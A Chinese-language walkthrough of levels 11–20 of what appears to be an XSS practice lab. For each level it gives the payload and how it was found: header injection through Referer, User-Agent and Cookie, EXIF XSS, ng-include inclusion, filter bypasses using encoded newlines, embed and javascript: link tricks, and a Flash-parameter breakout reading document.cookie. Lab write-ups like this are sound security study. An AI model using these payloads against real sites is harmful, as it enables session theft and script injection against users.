xss的关键是寻找参数未过滤的输出函数
Less 11|
payload:Referer:"onclick="javascript:alert(/xss/)"type="test
Less 12|
payload:User Agent:"onclick="javascript:alert(/xss/)"type="test
Less 13|
payload:Cookie:user="onclick="javascript:alert(/xss/)"type="test
Less 14|
payload:exif xss
Less 15|
payload:?src='level1.php?name=<img src=1 onerror=alert(1)>'
Less 16|
payload:?keyword=<img%0asrc=1%0aonerror="alert('xss')">
Less 17|
payload:onmouseover='javascript:alert('xss')'
Less 18|
payload:onmouseover='javascript:alert('xss')'
Less 19|
payload:arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>
Less 20|
payload:arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
Less 11
查看源码,发现四个隐藏表单,其中t_ref中的value值是上一关的链接
构造代码
&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
发现t_sort中<>被替换为HTML实体字符
进行抓包,将referer修改为"οnclick="javascript:alert(/xss/),发现referer的值出现在t_ref的value值中
放行,将type值的hidden删除,出现对话框,点击后弹框
看看Less11源码
$_SERVER['HTTP_REFERER']的作用是得到链接到当前页面的前一页面的地址
payload:
Referer:"onclick="javascript:alert(/xss/)"type="test
Less 12
查看源码,出现t_ua,根据上一关,t_ua即User Agent
(
构造代码"οnclick="javascript:alert('xss'),通过hackbar更改User Agent的值,将type中的hidden删除,出现对话框,点击进入下一关
看看Less12源码
$_SERVER['HTTP_USER_AGENT']的作用是获取用户的相关信息,包括用户使用的浏览器,操作系统等信息
payload:
User Agent:"onclick="javascript:alert(/xss/)"type="test
Less 13
查看源码,发现t_cook,应该就是cookie
我们直接尝试用hackbar修改Cookie值
查看Less13源码
$_SERVER["user"]的作用是获取user的cookie值
payload:
Cookie:user="onclick="javascript:alert(/xss/)"type="test
Less 14
这一关需要可以访问下图中的URL,但是现在打不开了
本关涉及exif xss漏洞,exif是可交换图像文件格式,直接使用鼠标右键进入属性页面直接修改
将XSS写到Exif里(PowerExif)exif是PHP拓展,使用exif_read_data()函数要开启拓展
<?php
$exif = exif_read_data('timg.jpg');
var_dump($exif);
?>
具体就不多说了
Less 15
查看源码,发现src的值被添加到标签span的class的属性值中,但是前面出现了ng-include
关于ng-include
1、ng-include 指令用于包含外部的 HTML文件
2、包含的内容将作为指定元素的子节点
3、ng-include 属性的值可以是一个表达式,返回一个文件名
4、默认情况下,包含的文件需要包含在同一个域名下
特别值得注意的几点如下:
1.ng-include如果单纯指定地址,必须要加引号
2.ng-include加载外部html,script标签中的内容不执行
3.ng-include加载外部html中含有style标签样式可以识别
Less15源代码中 https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js被墙了,所以换成国内地址 https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件
包含第一关的地址,可以直接跳转成功
构造代码如下:
payload:
?src='level1.php?name=<img src=1 onerror=alert(1)>'
但为什么要在level1.php后面添加?,因为我们不是单纯的去包含level1.php,而是在后面添加了参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思
Less 16
一进去就可以看到test回显在了页面中
添加<script>alert()</script>测试,发现script,/都被替换成了HTML实体字符
查看Less16源码,发现script,/以及空格都被替换成了HTML实体字符
因此我们构造语句:
<img
src=1
onerror="alert('xss')">
这里需要回车的url编码格式%0a或%0d
payload:
?keyword=<img%0asrc=1%0aonerror="alert('xss')">
Less 17
看看源码,发现参数出现在标签embed中,这里肯定是突破口
测试<script>alert('xss')</script>,<>替换为HTML实体字符
到这里我才知道原本中间有一个flash动画,尝试了谷歌和火狐,都屏蔽了...
后面全部采用360
正确显示如下:
构造代码
payload:
onmouseover='javascript:alert()'
查看Less17源码
embed标签就是引入一个swf文件到服务器端,并且它的src属性值没有添加引号,所以不用闭合
Less 18
和之前的方法一样
payload:
onmouseover='javascript:alert('xss')'
Less 19
尝试之前构造的代码,οnmοuseοver='javascript:alert('xss')',可以看到src被"闭合,但"会转义,所以我们需要换个方法
构造超链接
payload:
arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>
关于本关的详解:https://baynk.blog.csdn.net/article/details/103213877
Less 20
你甚至只能看到一个标题
有点复杂
payload:
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
关于本关的详解:https://blog.csdn.net/u014029795/article/details/103217680